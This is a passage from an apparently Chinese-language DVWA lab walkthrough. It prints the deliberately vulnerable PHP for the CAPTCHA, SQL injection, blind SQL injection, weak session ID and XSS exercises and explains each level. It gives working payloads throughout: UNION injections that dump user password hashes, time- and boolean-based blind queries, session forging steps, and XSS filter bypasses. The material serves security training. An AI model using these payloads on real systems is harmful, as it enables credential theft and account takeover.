                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}

//第二阶段，检测两次密码是否一致，并更新密码
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the end user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        echo "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

按照源码，总共分为两个阶段：

第一阶段，step1，对用户的身份进行验证，验证成功才能进行密码修改

第二阶段，step2，两次输入的密码一致，才可以进行修改

思路：跳过第一步，直接进行第二步

（1）输入两个一致的密码，使用burp抓包

将其中的step1直接改为step2

成功

Medium

源码解析：

<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key' ],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            echo "
// 对参数passed_captcha进行验证，如果通过身份验证，该参数就为true
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if they did stage 1
    if( !$_POST[ 'passed_captcha' ] ) {
        $html     .= "<pre><br />You have not passed the CAPTCHA.</pre>";
        $hide_form = false;
        return;
    }

    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the end user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        echo "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

与Low难度相比，增加了一个passed_captcha，当passed_captcha为true时就可以修改密码了

与Low相似，直接修改为step2，并且在后面增加参数passed_captcha=true，即可修改成功

High

源码解析：

<?php

if( isset( $_POST[ 'Change' ] ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key' ],
        $_POST['g-recaptcha-response']
    );
//（通过身份验证条件）或者 （参数g-recaptcha-respon为hidd3n_valu3并且参数 HTTP_USER_AGE为 reCAPTC）就算是验证通过了
    if (
        $resp || 
        (
            $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
            && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
        )
    ){
        // CAPTCHA was correct. Do both new passwords match?
        if ($pass_new == $pass_conf) {
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for user
            echo "<pre>Password Changed.</pre>";

        } else {
            // Ops. Password mismatch
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }

    } else {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

抓包修改即可

Impassible

源码解析：

<?php

if( isset( $_POST[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_new  = stripslashes( $pass_new );
    $pass_new  = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_new  = md5( $pass_new );

    $pass_conf = $_POST[ 'password_conf' ];
    $pass_conf = stripslashes( $pass_conf );
    $pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_conf = md5( $pass_conf );

    $pass_curr = $_POST[ 'password_current' ];
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key' ],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // Check that the current password is correct
        $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
        $data->execute();

        // Do both new password match and was the current password correct?
        if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
            // Update the database
            $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
            $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
            $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
            $data->execute();

            // Feedback for the end user - success!
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Feedback for the end user - failed!
            echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
            $hide_form = false;
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Impossible级别的代码增加了Anti-CSRF token 机制防御CSRF攻击，利用PDO技术防护sql注入，验证过程不再分成两部分了，同时要求用户输入之前的密码，进一步加强了身份认证。

7.SQL Injection(SQL注入)

Low

攻击者通过注入恶意的SQL命令，破坏SQL查询语句的结构，从而达到执行恶意SQL语句的目的。

SQL注入流程：

1.判断是否存在注入，注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

源码解析：

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    //获取id
    $id = $_REQUEST[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
            #$sqlite_db_connection->enableExceptions(true);

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    } 
}

?>

首先找到注入点，判断注入类型

1
1\
1' #

1 ' order by 2 # 

                      判断存在2个字段

1 ' union select 1,2 # 

                      显示报错位

1 ' union select 1,database() #

           查找库名

查找当前数据库中的表

1 ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

查找表users中的字段

1 ' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

查找数据

1 ' union select group_concat(user),group_concat(password) from users #

Medium

源码解析：

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

//user中x00，n，r，，’，”，x1a转义，防SQL注入
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);

?>

使用POST提交方式，还使用了转义预防SQL注入。

（1）判断注入点，判断注入类型

1
1 \
1 #

判断字段

1 order by 2 #

显示报错位

1 union select 1,2 #

查找库名

1 union select 1,database() #

查找当前数据库中的表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

查找表users中的字段

1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

查找数据

1 union select group_concat(user),group_concat(password) from users #

High

源码解析：

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
//【select * from tableName limit i,n 】
tableName : 为数据表；
i : 为查询结果的索引值（默认从0开始）；
n : 为查询结果返回的数量
查询第一条数据
select * from student limit 1
查询第二条数据
select * from student limit 1,1
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

使用了session 获取id 值，闭合方式单引号闭合。

1' union select group_concat(user),group_concat(password) from users #

Impassible

源码解析：

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

CSRF、检测 id 是否是数字。 prepare 预编译语句的优势在于归纳为：一次编译、多次运行，省去了解析优化等过程；此外预编译语句能防止 SQL 注入。

8.SQL Injection (Blind)(SQL盲注)

Low

相比于常规的SQL注入，他不会将返回具体的数据信息或语法信息，只会将服务器包装后的信息返回到页面中。

常规SQL注入与SQL盲注详细对比
SQL注入1.执行SQL注入攻击时，服务器会响应来自数据库服务器的错误信息，信息提示SQL语法不正确等。
2.一般在页面上直接就会显示执行sql语句的结果。SQL盲注1.一般情况，执行SQL盲注，服务器不会直接返回具体的数据库错误or语法错误，而是会返回程序开发所设置的特定信息（也有特例，如基于报错的盲注）
2.一般在页面上不会直接显示sql执行的结果
3.有可能出现不确定sql是否执行的情况
SQL盲注流程：

1.判断是否存在注入，注入的类型

2.猜解当前数据库名称

3.猜解数据库中的表名

4.猜解表中的字段名

5.获取表中的字段值

6.验证字段值的有效性

7.获取数据库的其他信息：版本、用户…

源码解析：

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
//最后的判断只有两种
num大于0输出User ID exists in the database
num小于等于0 输出User ID is MISSING from the database
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

对传参没有进行任何检查、过滤，返回参数只有User ID exists in the database.和User ID is MISSING from the database.两种

(1)判断是否存在注入

1' and sleep(5) -- qwe>回显延迟
1.1' and sleep(5) -- qwe>回显不延迟

由此判断存在盲注

(2)判断数据库库名长度

1' and if(length(database())=1,sleep(5),1) -- qwe

通过修改length函数的等值，触发if条件，查看是否延时，就可以获取库名长度为4

(3)分割字符判断数据库库名

1' and if(ascii(substr(database(),1,1))=1,sleep(5),1) -- qwe

通过修改substr函数的值，触发if条件，查看是否延时，就可以获取库名

Medium

源码解析：

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
//对特殊符号
\x00,\n,\r,\,’,”,\x1a进行转义
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

和普通的SQL注入方式差不多，只是需要BP来抓包修改参数值

与Low过程相似

High

源码解析：

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
//limit限制查询只能为1条
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
//返回MISSING时，会随机执行sleep()函数，做执行，则延迟的时间是随机在2-4s
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

    对于LIMIT 1的限制输出记录数目，可以利用

#

注释其限制；服务端可能会随机执行sleep()函数，若执行，则延迟的时间是随机在2-4s，这样会对正常的基于时间延迟的盲注测试造成干扰。因此可以考虑用基于布尔的盲注进行测试。

1' #
1' and (select ascii(substr(database(),1,1)) = 114) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #

Impassible

源码解析：

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
//使用token机制
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
//对输入的id进行是否为数字的判断
    if(is_numeric( $id )) {
        // Check the database
//使用limit对查询的结果进行限制
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
//使用PDO
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

1. impossible.php代码采用了PDO技术，划清了代码与数据的界限，有效防御SQL注入
2. 只有当返回的查询结果数量为一个记录时，才会成功输出，这样就有效预防了暴库
3. 利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串，满足条件才知晓query查询语句
4. Anti-CSRF token机制的加入了进一步提高了安全性，session_token是随机生成的动态值，每次向服务器请求，客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证，相互匹配才会验证通过

9.Weak Session IDs(弱会话)

Low

用户访问服务器的时候，一般服务器都会分配一个身份证 session id 给用户，用于标识。用户拿到 session id 后就会保存到 cookies 上，之后只要拿着 cookies 再访问服务器，服务器就知道你是谁了。

但是 session id 过于简单就会容易被人伪造。根本都不需要知道用户的密码就能访问，用户服务器的内容了。

源码解析：

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
//服务器每次生成的session_id加1给客户端
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?>

使用Burp，查看cookie

Cookie: dvwaSession=1; security=low; PHPSESSID=kae2tuoolsgmo7d51kmu307npu

在重新打开DVWA的登录页面，将刚才复制下来的cookie粘贴到再次抓取的请求包上面，就可以实现直接登录了，不用输入用户密码

Medium

源码解析：

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = time();
//返回当前时间的 Unix 时间戳，并格式化为日期：
time() 函数返回自 Unix 纪元（January 1 1970 00:00:00 GMT）起的当前时间的秒数
    setcookie("dvwaSession", $cookie_value);
}
?>

在这里是通过时间戳来生成的session

时间戳转换：时间戳(Unix timestamp)转换工具 - 在线工具

与Low的方法一样，设置猜解后构造的session id，把session的时间戳调整到现在时间，可以直接免密登录

High

源码解析：

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
        $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
//setcookie(name,value,expire,path,domain,secure,httponly)
 参数                  描述
name         必需。规定cookie的名称。
value         必需。规定cookie的值。
expire       可选。规定cookie的有效期。
path         可选。规定cookie的服务器路径。
domain         可选。规定cookie的域名。
secure         可选。规定是否通过安全的HTTPS连接来传输cookie。
httponly     可选。规定是否Cookie仅可通过HTTP协议访问。
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

dvwaSesion值很像md5加密，使用md5解密，发现是对从零开始的整数进行加密

设置猜解后构造的session id，可以直接免密登录

Impassible

源码解析：

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
//随机数+时间戳+固定字符串"Impossible"，再进行sha1运算
    $cookie_value = sha1(mt_rand() . time() . "Impossible");
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

使用随机session id作为起始值

10.DOM Based Cross Site Scripting (XSS)(基于 DOM 的跨站脚本)

Low

跨站脚本攻击，是指攻击者在页面中注入恶意的脚本代码，当受害者访问该页面时，恶意代码会在其浏览器上执行，需要强调的是，XSS不仅仅限于JavaScript，还包括flash等其它脚本语言。

DOM是一个与平台、编程语言无关的接口，它允许程序或脚本动态地访问和更新文档内容、结构和样式，处理后的结果能够成为显示页面的一部分。DOM中有很多对象，其中一些是用户可以操纵的，如uRI ，location，refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容，它不依赖于提交数据到服务器端，而从客户端获得DOM中的数据在本地执行，如果DOM中的数据没有经过严格确认，就会产生DOM—based XSS漏洞。

无源码

直接进行弹窗尝试

Medium

源码解析：

<?php

// Is there any input?
// array_key_exists()检查键是否存在
array_key_exists() 函数检查某个数组中是否存在指定的键名，如果键名存在则返回 true，如果键名不存在则返回 false。
提示：如果指定数组的时候省略了键名，将会生成从 0 开始并以 1 递增的整数键名
array_key_exists(key,array)
key 必需    规定键名。
array    必需。规定数组
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not alLow script tags
//过滤<script，含scriipt的就不可以
stripos() 函数查找字符串在另一字符串中第一次出现的位置（不区分大小写）
stripos(string,find,start)
string 必需    规定被搜索的字符串。
find 必需    规定要查找的字符。
start 可选    规定开始搜索的位置。
返回值：    返回字符串在另一字符串中第一次出现的位置，如果没有找到字符串则返回 FALSE。注释：字符串位置从 0 开始，不是从 1 开始。
    if (stripos ($default, "<script") !== false) {
//如果参数不含<script
header() 函数向客户端发送原始的 HTTP 报头
header(string,replace,http_response_code)
string 必需    规定要发送的报头字符串。
replace 可选    指示该报头是否替换之前的报头，或添加第二个报头。
默认是 true（替换）。false（允许相同类型的多个报头）。
http_response_code可选    把 HTTP 响应代码强制为指定的值。（PHP 4 以及更高版本可用）

        header ("location: ?default=English");
        exit;
    }
}

?>

简单来说，就是过滤掉了“<script”，当函数匹配到 <script 字符串的时候就会将URL后面的参数修正为 ?default=English

在这里可以通过onerror事件，在装载文档或图像的过程中如果发生了错误就会触发

</option></select><img src=x onerror=alert(1)>

High

源码解析：

<
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the alLowable languages
//白名单，只允许French、English、German、Spanish
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

设置了白名单，只对default进行检查，可以使用&连接另一个自定义变量来绕过

构造

English&<script>alert(1)</script>

Impassible

源码解析：

<?php

# Don't need to do anything, protction handled on the client side

?>

不需要做任何事情，保护由客户端处理

11.Reflected Cross Site Scripting (XSS)(反射跨站脚本)

Low

XSS攻击需要具备两个条件：

• 需要向web页面注入恶意代码；
• 这些恶意代码能够被浏览器成功的执行

XSS反射型漏洞

反射型XSS的触发有后端的参与，而之所以触发XSS是因为后端解析用户在前端输入的带有XSS性质的脚本或者脚本的data URI编码，后端解析用户输入处理后返回给前端，由浏览器解析这段XSS脚本，触发XSS漏洞。

基本原理就是通过给别人发送带有恶意脚本代码参数的URL，当URL地址被打开时，特定的代码参数会被HTML解析，执行，如此就可以获取用户的COOIKE，进而盗号登陆。

源码解析：

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
// arrary_key_exists()函数：判断$_GET的值中是否存在“name”键名。并且$_GET[‘name’]的值是否不为空，满足这些条件，直接输出下面的输出语句。

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

服务器并没有对 name 参数做任何的过滤和检查。

直接使用 <script>alert(1)</script> 进行尝试

Medium

源码解析：

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
//将输入中的<script>转化为空
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

会检查 name 参数中是否有 “< script >”，如果有则替换为空

可以使用大小写绕过

<sCript>alert(1)</ScRipt>

或者

<sc<script>ript>alert(1)</script>

High

源码解析：

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
//使用通配符，完全匹配script*N，所以有关script的标签全被过滤
